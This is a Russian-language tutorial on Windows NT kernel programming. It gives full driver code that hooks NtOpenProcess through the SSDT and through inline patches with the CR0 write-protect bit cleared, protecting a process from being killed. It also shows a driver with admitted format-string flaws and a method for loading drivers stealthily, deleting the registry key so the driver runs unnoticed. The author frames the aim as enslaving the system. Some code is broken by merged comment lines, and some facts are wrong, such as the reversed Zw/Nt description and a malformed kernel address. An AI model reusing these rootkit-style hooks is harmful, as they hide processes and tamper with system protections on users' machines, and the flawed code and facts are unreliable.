Как известно, в процессорах серии X86 и совместимых с ними присутствует аппаратная поддержка многозадачности и защиты. Код может исполняться на одном из четырех уровней (колец) защиты. Наиболее привилегированным является нулевое кольцо, наименее привилегированным - третье. В нулевом кольце можно все: доступны привилегированные команды, порты ввода-вывода, и вся память. В других кольцах могут быть установлены другие правила: запрет некоторых команд, запрет ввода-вывода и.т.д. Между уровнями защиты можно переключаться только через специальные шлюзы, определенные в системных таблицах процессора (GDT, LDT, IDT). Доступ к памяти в защищенном режиме происходит только через селекторы находящиеся в этих таблицах, а у каждого селектора есть уровень привилегий необходимый для его использования. Подобная система позволяет изолировать код, выполняющийся на непривилегированных уровнях защиты, и полностью контролировать его исполнение с помощью кода нулевого кольца.
В Windows NT используються только два уровня привилегий: нулевое и третье кольцо. В нулевом кольце работает ядро системы и системные драйвера, а в третьем - все запущенные приложения. Привилегированные команды и ввод-ввод для третьего кольца запрещены, для взаимодействия с аппаратной частью компьютера вызываются системные сервисы ядра ОС, которые оформлены как шлюзы. При вызове такого шлюза процесс переходит в нулевое кольцо, и там ядро ОС и драйвера обрабатывают запрос и возвращают результаты приложению. После перехода в нулевое кольцо приложение не может как-либо контролировать свое исполнение, пока управление не будет возвращено коду третьего кольца. Это есть необходимое условие защиты, оно обеспечивает безопасность всей системы.
В прошлых статьях я достаточно подробно рассмотрел технику перехвата API в третьем кольце, но недостаток этих методов в том, что такие перехваты подчиняются правилам третьего кольца, тоесть могут быть обнаружены и устранены приложением. Также приложение может вызывать напрямую сервисы ядра системы, минуя API (как это сделано в моей программе ProcessMaster), в этом случае никакой перехват не поможет. Для того чтобы действительно "поработить" систему мы должны залезть на самый высокий уровень привилегий - в нулевое кольцо, и производить свои действия там. Только это гарантирует, что приложение работающее в третьем кольце не сможет обойти перехват. Попав в нулевое кольцо, мы получаем действительно полный контроль над системой. Как сделать это - войти в нулевое кольцо, и что можно делать потом, я подробно опишу в этой статье.
Память в Windows NT
Для понимания дальнейшего материала, необходимо четко представлять организацию памяти в Windows NT. В общем виде она выглядит так: Адреса от 0x00000000 до 0x0000FFFF не используются, любое обращение к этим адресам вызывает ошибку. Это нужно для выявления нулевых указателей, так как обращение по нулевому указателю это частая ошибка в программах. Адреса от 0x00010000 до 0x7FFFFFFF представляют пользовательское адресное пространство (User Space), эта область памяти различна у каждого процесса в системе. В ней находятся код третьего кольца и связанные с ним данные процесса. Адреса от 0x800000000 до 0xFFFFFFFF представляют собой область памяти ядра системы (Kernel Space), эта область одна на всю систему, и у всех процессов одинакова. В ней размещается ядро системы, драйвера, файловый кеш, разделяемая память, системные пулы, а также все структуры ядра. Доступ к этой области памяти можно получить только из нулевого кольца, любое обращение к ней пользовательского кода вызывает ошибку. При работе с этой областью памяти следует соблюдать большую осторожность, так как не все исключения, возникающие в ней могут быть обработаны, что может вызвать падение системы. При разрушении памяти пользовательского режима, будет завершен только тот процесс, целостность памяти которого нарушена, но нарушение целостности структур памяти ядра немедленно ведет к падению системы с синим экраном.
Методы входа в Ring0
По документации Microsoft для выполнения своего кода в нулевом кольце защиты нам потребуется написать драйвер режима ядра. Но существует еще один способ: через физическую память. В системе есть объект "секция" с именем \Device\PhysicalMemory который представляет из себя отображение физической памяти компьютера. Его можно открыть с помощью ZwOpenSection, после чего можно изменить содержимое системных таблиц (GDT, LDT, IDT) и создать в них свой шлюз, через который можно будет выполнить свой код в нулевом кольце. Существуют также методы перехода в нулевое кольцо путем использования какой-либо уязвимости системы, но так как эти методы работают только с необновленными системами мы их рассматривать не будем.
Пишем драйвер
Начнем с вполне документированного способа: написания драйвера. Для этого нам понадобиться Visual C++ 6.0 (или позже) и комплект DDK (Driver Development Kit). DDK идет под конкретную версию Windows NT, и раньше был доступен для скачивания с сайта Microsoft, но теперь мелкомягкие стали требовать за него денег. Однако, при большом желании, DDK всё же можно найти. Подойдет практически любая версия. После установки DDK можно приступать к созданию шаблона простейшего драйвера.
Файл driver.c :
#include <ntddk.h>
#include "driver.h"
#define DEBUG
/*
Создаем макрос для вывода отладочных сообщений
в случае компиляции с директивой DEBUG
*/
#ifdef DEBUG
#define DPRINT DbgPrint
#else
#define DPRINT
#endif
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
DPRINT("Driver unloaded");
return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
DPRINT("Driver loaded");
return STATUS_SUCCESS;
}
Функция DriverEntry выполняется при загрузке драйвера в систему, в качестве параметров ей передается указатель на объект драйвера и путь в реестре, по которому этот драйвер приписан пи установке. Следует учесть, что процедура DriverEntry выполняется в контексте процесса System, это может быть немаловажно при написании некоторых специфических функций драйвера. Для компиляции драйвера мы создадим еще несколько файлов:
makefile: !INCLUDE $(NTMAKEENV)\makefile.def
sources:
TARGETNAME=driver
TARGETPATH=obj
TARGETTYPE=DRIVER
C_DEFINES=$(C_DEFINES)
X86_CPU_OPTIMIZATION=O2
INCLUDES=C:\WINDDK\2600\inc
SOURCES=driver.c
RELEASETYPE=DDK
make.bat:
%SystemRoot%\system32\cmd.exe /c "cd C:\WINDDK\2600\bin\&&setenv.bat
C:\WINDDK\2600\&&cd c:\driver\&&build -ceZ&&pause"
После этого можно компилировать драйвер запуском make.bat.
Что делать дальше?
Итак, код в драйвере выполняется в нулевом кольце защиты и может делать все что угодно, но что конкретно мы можем сделать? Самое простое - убить систему, для этого нужно просто создать необработанное исключение, что немедленно приведет к синему экрану. Например следующий код исполненный в драйвере немедленно валит систему:
__asm
{
xor eax, eax
mov eax, [eax]
}
Здесь происходит обращеное к нулевому адресу памяти, а обращение к первым 0xFFFF байтам памяти является ошибкой, так как эта область адресного пространства специально зарезервирована для обнаружения нулевых указателей. В результате возникает исключение Page Fault, а так как для него отсутствует обработчик исключения, то в результате возникнет синий экран. Поэтому при программировании кода исполняющегося в нулевом кольце следует быть очень внимательным, и в критических местах устанавливать обработчики ошибок. Например в следующем примере возникающая ошибка обрабатывается и синий экран не возникает:
__try
{
__asm
{
xor eax, eax
mov eax, [eax]
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
Но существует класс исключений не обрабатываемых в нулевом кольце - это например деление на ноль, обращение к отсутствующему участку ядерной памяти, или неверный опкод команды. Также невозможна вложенная обработка исключений, при возникновении исключения внутри обработчика исключения в любом случае получается синий экран.
Отладка:
При компиляции этого простейшего драйвера нам конечно не понадобиться ничего отлаживать, но в будущем нам понадобиться писать более сложные программы, и несомненно нужно как-то контролировать их исполнение. Для начала весьма удобным средством является вывод отладочных сообщений функцией DbgPrint, в нашем примере для этого даже существует макрос DPRINT, который производит такой вывод только в случае компиляции драйвера в отладочном режиме. Функция DbgPrint полностью аналогична функции printf, тоесть позволяет выводить форматированные строки различными способами. Для просмотра отладочных сообщений удобно использовать утилиту DbgView Марка Руссиновича, которую можно скачать с www.sysinternals.com, также эти сообщения можно просматривать в отладчике SoftIce.
Для более серьезной отладки необходимо следить за исполнением кода и иметь возможность вмешиваться в этот процесс, для этого нам нужен отладчик режима ядра. Для этого может подойти WinDBG от Microsoft, он имеет удобный графический интерфейс и прост в использовании, но я рекомендую установить SoftIce, так как его возможности значительно превосходят WinDBG, он имеет мощную систему команд, и при некотором навыке становиться гораздо более удобен в использовании. Я не буду останавливаться на установке и использовании SoftIce, это хорошо описано на www.cracklab.ru.
Перехват:
Для осуществления перехвата API на самом низком уровне - в ядре системы нам необходимо четко представлять иерархию вызова API в системе. В упрощенном виде это выглядит так:
В прошлых статьях мы перехватывали Win32 API и NativeAPI уровня пользователя, но теперь будем перехватывать NativeAPI уровня ядра.
На самом деле функции NativeAPI и являются функциями ядра, а аналогичные им функции из ntdll.dll являются переходниками, которые через интерфейс системных вызовов обращаются к соответствующим функциям ядра. При программировании драйверов мы можем использовать те же NativeAPI функции, что и в приложениях третьего кольца, но не можем использовать API более высокого уровня. Также на этом уровне становятся доступными многие функции экспортируемые ядром и предназначенные для использования только в драйверах. В NativeAPI пользовательского уровня мы имеем пары аналогичных функций, отличающиеся только префиксами Zw и Nt, там они отличаются только названием, а имеют одну и ту же точку входа. На уровне ядра мы также имеем аналогичные пары функций, но между ними имеется одно различие, функции с префиксом Zw производят перед выполнением действия проверки системы безопасности (прав пользователя), а функции с префиксом Nt - нет.
Из пользовательского режима через интерфейс системных вызовов нам доступны Nt функции. Zw функции следует вызывать тогда, когда передающиеся им параметры были взяты из Usermode, тогда будут проведены все необходимые проверки.
Рассмотрим подробнее работу интерфейса системных вызовов:
Из этой схемы следует, что вызов функции ядра, прежде чем будет передан соответствующей NativeAPI ядра проходит предварительно довольно сложную обработку. Сначала, в третьем кольце вызывается соответствующая функция в Ntdll, где а регистр EAX помещается номер вызываемого системного сервиса, а в регистр EDX - указатель на передаваемые параметры. Затем вызывается прерывание 2Eh (в Windows XP - команда sysenter) и происходит переход процесса в нулевое кольцо, где управление передается согласно записанному в IDT шлюзу прерывания, в этом месте происходит переключение окружения третьего кольца на нулевое, выполняется смена стека на стек ядра, и происходит перезагрузка сегментного регистра FS, который в нулевом кольце указывает на совершенно другие структуры, чем в третьем кольце. Затем управление передается обработчику прерывания 2Eh - функции ядра KiSystemService. Эта функция копирует передаваемые системному сервису параметры в стек ядра, и производит вызов NativeAPI функции ядра согласно содержимому ServiceDescriptorTable. Эта таблица находится в памяти ядра, и представляет собой структуру содержащую 4 таблицы системных сервисов (SST). Первая из этих таблиц описывает сервисы экспортируемые ядром (ntoskrnl.exe), вторая - графической подсистемой (win32k.sys), а остальные две зарезервированы на будующее и сейчас не используются. Формат этих структур следующий:
typedef struct _SYSTEM_SERVICE_TABLE
{
PNTPROC ServiceTable;
PDWORD CounterTable;
ULONG ServiceLimit;
PBYTE ArgumentTable;
}
SYSTEM_SERVICE_TABLE ,
* PSYSTEM_SERVICE_TABLE ,
* * PPSYSTEM_SERVICE_TABLE ;
typedef struct _SERVICE_DESCRIPTOR_TABLE {
SYSTEM_SERVICE_TABLE ntoskrnl; //SST для ntoskrnl.exe
SYSTEM_SERVICE_TABLE win32k; //SST для win32k.sys
SYSTEM_SERVICE_TABLE unused1; //не используется
SYSTEM_SERVICE_TABLE unused2; //не используется
}
SERVICE_DESCRIPTOR_TABLE ,
* PSERVICE_DESCRIPTOR_TABLE,
* * PPSERVICE_DESCRIPTOR_TABLE ;
Число системных сервисов описываемых каждой SST находится в поле ServiceLimit, поле ServiceTable - указатель на массив содержащий адреса ядерных функций соответствующих экспортируемым сервисам. ArgumentTable - указатель на массив содержащий число аргументов принимаемых каждой экспортируемой функцией (используется KiSystemService при копировании параметров), CounterTable - указатель на массив счетчиков использования каждой функции (этот массив присутствует только в отладочном билде Windows). Из этого следует, что для того, чтобы перехватить какую-либо функцию экспортируемую через этот механизм в третье кольцо мы должны заменить её адрес в соответствующей SST на адрес своего обработчика, но перед этим мы должны сохранить оригинальный адрес функции для её последующего вызова.
Сделать это очень легко, так как указатель на SDT экспортируется ядром по имени KeServiceDescriptorTable, поэтому чтобы его получить, мы должны просто объявить внешнюю переменную: extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
Сейчас нас интересует SST для ntoskrnl, для простого доступа к массиву с адресами функций будем использовать следующий макрос:
#define NTCALL(_function)KeServiceDescriptorTable->ntoskrnl.ServiceTable[_function];
Теперь для перехвата какой-либо ядерной функции нам нужно просто создать для нее свой обработчик и заменить адрес в SST следующим образом: NTCALL(fNum) = NewFunction; где fNum - номер перехватываемого системного вызова, а NewFunction - его новый обработчик. Таблицу номеров функций экспортируемых ядром и графической подсистемой вы найдете в приложении к статье.
Для проверки работоспособности этого способа мы сейчас напишем драйвер перехватывающий функцию NtOpenProcess и запрещающий открытие какого-нибудь процесса с флагом PROCESS_TERMINATE, после чего убить этот процесс диспетчером задач будет уже невозможно. Подобным способом защиты пользуются также некоторые антивирусы.
Вот полный текст драйвера осуществляющего защиту процесса с ProcessID 2800:
#include <ntddk.h>
#define DEBUG
#ifdef DEBUG
#define DPRINT DbgPrint
#else
#define DPRINT
#endif
typedef PVOID* PNTPROC;
typedef DWORD (ULONG);
typedef DWORD*PDWORD;
typedef unsigned char (BYTE);
typedef BYTE* PBYTE;
typedef struct _SYSTEM_SERVICE_TABLE
{
PNTPROC ServiceTable;
PDWORD CounterTable;
ULONG ServiceLimit;
PBYTE ArgumentTable;
}
SYSTEM_SERVICE_TABLE ,
* PSYSTEM_SERVICE_TABLE ,
* * PPSYSTEM_SERVICE_TABLE ;
typedef struct _SERVICE_DESCRIPTOR_TABLE {
SYSTEM_SERVICE_TABLE ntoskrnl; //SST для ntoskrnl.exe
SYSTEM_SERVICE_TABLE win32k; //SST для win32k.sys
SYSTEM_SERVICE_TABLE unused1; //не используется
SYSTEM_SERVICE_TABLE unused2; //не используется
}
SERVICE_DESCRIPTOR_TABLE ,
* PSERVICE_DESCRIPTOR_TABLE,
* * PPSERVICE_DESCRIPTOR_TABLE ;
//макрос для простого доступа к SST ядра
#define NTCALL(_function) KeServiceDescriptorTable->ntoskrnl.ServiceTable[_function]
//импортируем указатель на SDT
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
//импортируем версию ядра NT
extern PUSHORT NtBuildNumber;
//обьявляем прототип True функции для перехватываемой функции
typedef NTSTATUS (*NtOpenPrcPointer) (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
//обьявляем True функцию
NtOpenPrcPointer TrueNtOpenProcess;
//номер системного вызова NtOpenProcess
ULONG OpenProcId;
//функция - обработчик перехвата
NTSTATUS NewNtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
HANDLE ProcessId;
//безопасным образом извлекаем ProcessId
if ((ULONG)ClientId > MmUserProbeAddress) return STATUS_INVALID_PARAMETER;
__try
{
ProcessId = ClientId->UniqueProcess;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DPRINT("Exception");
return STATUS_INVALID_PARAMETER;
}
if (ProcessId == (HANDLE)2800)
{
DPRINT("Access Denied!");
return STATUS_ACCESS_DENIED;
} else
return TrueNtOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
ULONG CR0Reg;
DPRINT("Driver unloaded");
//снимаем перехват
__asm
{
cli // запрещаем прерывания
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF // сбросить WP bit
mov cr0, eax
}
NTCALL(OpenProcId) = TrueNtOpenProcess;
__asm
{
mov eax, CR0Reg
mov cr0, eax // востановить содержимое CR0
sti // разрешаем прерывания
}
return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
ULONG CR0Reg;
DPRINT("Driver loaded");
//определяем версию ядра системы
switch (*NtBuildNumber)
{
case 2195 : //win 2k
OpenProcId = 0x06A;
break;
case 2600 : //win xp
OpenProcId = 0x07A;
break;
default :
return STATUS_NOT_IMPLEMENTED;
break;
}
//устанавливаем перехват
TrueNtOpenProcess = NTCALL(OpenProcId);
__asm
{
cli // запрещаем прерывания
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF // сбросить WP bit
mov cr0, eax
}
NTCALL(OpenProcId) = NewNtOpenProcess;
__asm
{
mov eax, CR0Reg
mov cr0, eax // востановить содержимое CR0
sti // разрешаем прерывания
}
//назначаем процедуру выгрузки драйвера
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
Следует обратить внимание, что в данном коде перед проверкой значения поля UniqueProcess производится сначала проверка указателя ClientId а затем копирование поля UniqueProcess внутри обработчика ошибок. Проверка указателя связана с тем, что он передается нашему коду из пользовательского процесса третьего кольца, а нам нельзя позволять адресовать область памяти ядра пользовательскому коду. Обработчик ошибок при копировании необходим по причине того, что указатель может указывать на отсутствующую область памяти, а обращение по такому указателю без обработки ошибок приведет к падению системы. При написании драйверов очень важно обращать внимание на такие моменты, иначе это может быть причиной уязвимости в вашей программе. Также следует обратить внимание на то, что перед изменением содержимого SST производится запрет прерываний и очистка WP бита в регистре CR0. Запрет прерываний необходим по причине того, что наш поток может быть прерван в момент записи в SST, и в это время другой поток обратится к перехватываемой функции, что приведет к падению системы. Также в некоторых конфигурациях в системы имеется защита от модификации ядерных страниц памяти. Этой защитой управляет WP бит в регистре CR0, если его не очищать перед модификацией памяти ядра, то это может стать причиной нестабильной работы драйвера, на некоторых системах он может работать, а на некоторых вызывать синий экран. Для загрузки драйвера я рекомендую использовать программу KmdManager от Four-F которая входит в состав его KmdKit (пакета DDK для masm32) который можно скачать с www.wasm.ru (раздел "инструменты"). В состав этого пакета входит еще несколько полезных программ, поэтому всем рекомендую его скачать.
Перехват через SDT несомненно удобен, но у него имеется один недостаток - его легко обнаружить и удалить. Для этого просто нужно проверить соответствие адресов в SDT адресам соответствующих экспортируемых ядром функций, и при несоответствии исправить адреса. Для устранения этого недостатка можно воспользоваться методом перехвата, который я описал в предыдущих статьях - заменой кодов в начале функции. Адрес перехватываемой функции можно определить как через SDT, так и импортом его из ядра. В первом случае, при наличии на этой функции какого-либо перехвата наш обработчик будет установлен поверх старого обработчика, а во втором случае - прямо на функцию.
Вот полный код драйвера выполняющего аналогичную предыдущему функцию. Его отличие в том, что перехват производится непосредственно заменой кода начала перехватываемой функции. Адрес определяется путем импорта его из ядра.
#include <ntddk.h>
#define DEBUG
#ifdef DEBUG
#define DPRINT DbgPrint
#else
#define DPRINT
#endif
typedef UCHAR (BYTE);
typedef BYTE* PBYTE;
#pragma pack (push, 1)
typedef struct _far_jmp{
BYTE PushOp;
PVOID PushArg;
BYTE RetOp;
} far_jmp, *pfar_jmp;
typedef struct _OldCode{
USHORT One;
ULONG TWO;
} OldCode, *POldCode;
#pragma pack (pop)
OldCode OpPrcOld;
PVOID NewNtOpenProcessAdr;
//True функция для перехватываемой функции
NTSTATUS TrueNtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
ULONG CR0Reg;
NTSTATUS Result;
POldCode Func = (POldCode)NtOpenProcess;
pfar_jmp Fnjp = (pfar_jmp)NtOpenProcess;
__asm
{
cli // запрещаем прерывания
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF // сбросить WP bit
mov cr0, eax
}
// снимаем перехват
Func->One = OpPrcOld.One;
Func->TWO = OpPrcOld.TWO;
Result = NtOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
//устанавливаем перехват
Fnjp->PushOp = 0x68;
Fnjp->PushArg = NewNtOpenProcessAdr;
Fnjp->RetOp = 0xC3;
__asm
{
mov eax, CR0Reg
mov cr0, eax // востановить содержимое CR0
sti // разрешаем прерывания
}
return Result;
}
//функция - обработчик перехвата
NTSTATUS NewNtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
HANDLE ProcessId;
//безопасным образом извлекаем ProcessId
if ((ULONG)ClientId > MmUserProbeAddress) return STATUS_INVALID_PARAMETER;
__try
{
ProcessId = ClientId->UniqueProcess;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DPRINT("Exception");
return STATUS_INVALID_PARAMETER;
}
if (ProcessId == (HANDLE)2800)
{
DPRINT("Access Denide!");
return STATUS_ACCESS_DENIED;
} else
return TrueNtOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
ULONG CR0Reg;
NTSTATUS Result;
POldCode Func = (POldCode)NtOpenProcess;
DPRINT("Driver unloaded");
__asm
{
cli // запрещаем прерывания
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF // сбросить WP bit
mov cr0, eax
}
// снимаем перехват
Func->One = OpPrcOld.One;
Func->TWO = OpPrcOld.TWO;
__asm
{
mov eax, CR0Reg
mov cr0, eax // востановить содержимое CR0
sti // разрешаем прерывания
}
return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
ULONG CR0Reg;
POldCode Func = (POldCode)NtOpenProcess;
pfar_jmp Fnjp = (pfar_jmp)NtOpenProcess;
DPRINT("Driver loaded");
//устанавливаем перехват
__asm
{
cli // запрещаем прерывания
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF // сбросить WP bit
mov cr0, eax
}
NewNtOpenProcessAdr = NewNtOpenProcess;
OpPrcOld.One = Func->One;
OpPrcOld.TWO = Func->TWO;
Fnjp->PushOp = 0x68;
Fnjp->PushArg = NewNtOpenProcessAdr;
Fnjp->RetOp = 0xC3;
__asm
{
mov eax, CR0Reg
mov cr0, eax // востановить содержимое CR0
sti // разрешаем прерывания
}
//назначаем процедуру выгрузки драйвера
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
Следует обратить внимание на то, что перед объявлением структур far_jmp и OldCode производится установка выравнивания структур по одному байту с помощью директивы #pragma pack (push, 1), иначе компилятор будет выравнивать структуры по 8 байт, что приведет к неправильному представлению кода в памяти, и драйвер будет ронять систему в синий экран.
Взаимодействие драйвера с приложением:
В драйверах приведенных выше идентификатор защищаемого процесса жестко прописан в коде, но при практическом применении такой подход недопустим. Очень часто требуется организовать обмен данными между драйвером и приложением. Для этого можно использовать систему ввода-вывода. Для этого драйвер должен создать объект "устройство", через которое ему будут направляться запросы ввода-вывода. Это устройство будет находиться в первичном пространстве имен диспетчера объектов, в каталоге \Device. Для доступа к устройству можно использовать функции NativeAPI, либо для упрощения создать символическую ссылку на объект в каталоге \DosDevices, после чего устройство можно будет открыть через CreateFile. После этого любой запрос ввода-вывода посланный через ReadFile или WriteFile будет послан нашему драйверу путем вызова зарегистрированной им Callback функции ассоциированной с соответствующим типом запроса. Приведем пример драйвера создающего устройство, символическую ссылку на него и выводящего получаемые им данные через DbgPrint в отладочную консоль.
#include <ntddk.h>
#define DEBUG
#ifdef DEBUG
#define DPRINT DbgPrint
#else
#define DPRINT
#endif
UNICODE_STRING DeviceName;
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT deviceObject = NULL;
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject) {
DPRINT("Driver unloaded");
IoDeleteSymbolicLink(&SymbolicLinkName); // удаляем символическую ссылку
IoDeleteDevice(deviceObject); // удаляем устройство return;
}
NTSTATUS DriverDispatcher( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION pisl;
NTSTATUS ns = STATUS_SUCCESS;
PCSTR Data;
pisl = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Information = 0;
if ( pisl->MajorFunction == IRP_MJ_WRITE) {
ULONG Length = pisl->Parameters.Write.Length;
Data = Irp->UserBuffer;
__try {
DbgPrint("%s", Data); }
__except(EXCEPTION_EXECUTE_HANDLER)
{
Irp->IoStatus.Information = 0;
ns = STATUS_IN_PAGE_ERROR;
}
}
Irp->IoStatus.Status = ns;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ns;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
NTSTATUS st;
PCWSTR dDeviceName = L"\\Device\\MyDriver";
PCWSTR dSymbolicLinkName = L"\\DosDevices\\MyDriver";
PDRIVER_DISPATCH *ppdd;
DPRINT("Driver loaded");
RtlInitUnicodeString(&DeviceName, dDeviceName);
RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);
st = IoCreateDevice(DriverObject, // указатель на DriverObject
0, // размер памяти (device extension)
&DeviceName, // имя создаваемого устройства
FILE_DEVICE_NULL, // тип создаваемого устройства
0, // характеристики устройства
FALSE, // "эксклюзивное" устройство
&deviceObject); // указатель на объект устройства if
(st == STATUS_SUCCESS) st
= IoCreateSymbolicLink(&SymbolicLinkName, // имя создаваемой символической ссылки
&DeviceName); // имя устройства
ppdd = DriverObject->MajorFunction; // обьявляю процедуры обработки ввода-вывода ppdd
ppdd[IRP_MJ_CREATE] =
ppdd[IRP_MJ_CLOSE ] =
ppdd[IRP_MJ_WRITE ] = DriverDispatcher;
DriverObject->DriverUnload = DriverUnload;
return st;
}
Каждый запрос ввода-вывода преобразуется в IRP пакет и направляется на обработчик назначенный на данный тип пакета. Драйвер обязательно должен обрабатывать запрос IRP_MJ_CREATE который посылается при открытии устройства приложением. В данном случае я еще обрабатываю запрос IRP_MJ_WRITE, который посылается при записи данных в созданное устройства. Обработчиком обоих типов пакетов назначена процедура DriverDispatcher, где происходит прием данных и вывод их через функцию DbgPrint. Так как при создании устройства я выбрал прямой, небуферизованный метод ввода-вывода (METHOD_NEITHER). При применении этого метода мы получаем данные из пользовательского адресного пространства, поэтому при операциях с этими данными необходимо устанавливать обработчик ошибок. Следует учесть одну особенность: процедура DriverDispatcher вызывается в контексте процесса выполняющего запрос ввода-вывода, и это следует учесть при доступе к каким-либо объектам по хэндлу. Если необходимо обращаться к объектам по хэндлу из разных процессов, то следует при открытии объекта поместить хэндл в таблицу хэндлов ядра путем оказания в OBJECT_ATTRIBUTES флага OBJ_KERNEL_HANDLE. Такой хэндл будет доступен из любых процессов, но только в режиме ядра. Хочу также вас предупредить, что вышеприведенный драйвер написан только с целью показать принципы работы ввода-вывода, и для практического применения не подходит по причине того, что содержит две уязвимости. Первая уязвимость состоит в том, что буфер данных полученный от приложения напрямую передается в DbgPrint без проверки длины строки и наличия завершающего ноля. При передаче строки которая не завершается нолем, а оканчивается на невыделенной области памяти произойдет падение системы. Вторая уязвимость - в том, что данные передаются функции осуществляющей форматный вывод, что вызывает уязвимость форматной строки. Это более серьезно, так как может привести к повышению привилегий. Подробно про использование такого рода уязвимостей вы можете прочитать на различных хакерских сайтах. Поэтому, при программировании драйверов следует всегда обращать внимание на такие моменты, так как тут очень велика вероятность возникновения уязвимостей. Для проверки этого драйвера мы напишем программу на Delphi, которая будет отправлять в драйвер текстовые строки. Процедура передачи строки будет выглядеть так:
procedure SendString(Str: PChar);
var
hDriver: dword;
Written: dword;
begin
hDriver := CreateFile(’\\.\MyDriver’, GENERIC_WRITE, 0, nil, OPEN_EXISTING, 0, 0);
WriteFile(hDriver, Str^, lstrlen(Str), Written, nil);
CloseHandle(hDriver);
end;
Драйвер - очень удобный способ выхода в нулевое кольцо, но возникает вопрос - как загрузить драйвер. Для этого можно использовать два способа: использовать вполне документированный API SCM (Service Control Manager) или прописывать драйвер в реестре вручную и загружать его с помощью недокументированной Native API функции ZwLoadDriver. Первый способ очень прост и хорошо документирован, он подходит для постоянной установки драйверов. Второй же способ позволяет создать в реестре минимум необходимых записей, запустить драйвер, и тут же удалить его раздел из реестра. Это позволяет запускать драйвер быстро и незаметно и подходит для маленьких программ не требующих установки, но требующих запуска своего драйвера. Сейчас мы рассмотрим оба способа запуска драйвера.
Запуск драйвера с помощью SCM будет выглядеть так:
function InstallDriver: boolean;
const
DrvName = ’Driver’;
FullPath = ’c:\driver.sys’;
var
hSCM, hSRV: dword;
sParam: PChar;
begin
Result := false;
hSCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if hSCM = INVALID_HANDLE_VALUE then Exit;
// создание системной записи о драйвере
hSRV := CreateService(hSCM, DrvName, DrvName,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
FullPath, nil, nil,
nil, nil, nil);
if hSRV = INVALID_HANDLE_VALUE then Exit;
//запускаем драйвер
StartService(hSRV, 0, sParam);
//очистка ресурсов
CloseServiceHandle(hSRV);
CloseServiceHandle(hSCM);
Result := true;
end;
Этот метод я считаю весьма тормозным и неудобным в применении, есть более удобный и быстрый способ:
Procedure InstallDriver();
const
Driver = ’\registry\machine\system\CurrentControlSet\Services\Driver’;
DrvFile = ’Driver.sys’;
var
Key, Key2: HKEY;
Pth: PChar;
dType: dword;
Image: array [0..MAX_PATH] of Char;
ImageFile: TUnicodeString;
begin
lstrcpy(Image, ’\??\’);
GetFullPathName(DrvFile, MAX_PATH, PChar(dword(@Image) + 4), Pth);
dType := 1;
RegOpenKey(HKEY_LOCAL_MACHINE, ’system\CurrentControlSet\Services’, Key);
RegCreateKey(Key, ’Driver’, Key2);
RegSetValueEx(Key2, ’ImagePath’, 0, REG_SZ, @Image, lstrlen(Image));
RegSetValueEx(Key2, ’Type’, 0, REG_DWORD, @dType, SizeOf(dword));
RegCloseKey(Key2);
RegCloseKey(Key);
RtlInitUnicodeString(@ImageFile, Driver);
ZwLoadDriver(@ImageFile);
end;
В общем, с загрузкой драйвера проблем не возникнет. Но есть также возможность загружать драйвер при старте системы, для этого нужно установить драйвер через SCM и указать тип загрузки не SERVICE_DEMAND_START, а SERVICE_AUTO_START, SERVICE_SYSTEM_START или SERVICE_BOOT_START. При использовании загрузки SERVICE_AUTO_START драйвер будет загружен менеджером сервисов после инициализации системы, при применении параметра SERVICE_SYSTEM_START драйвер будет загружен менеджером ввода-вывода в момент инициализации ядра, при использовании параметра SERVICE_BOOT_START драйвер будет загружен загрузчиком ntldr еще до запуска ядра системы, и будет запущен в начальной фазе инициализации ядра. При использовании последнего типа загрузки в момент запуска драйвера ему не будет доступен ввод-вывод и многие API ядра связанные еще неинициализированными системами.
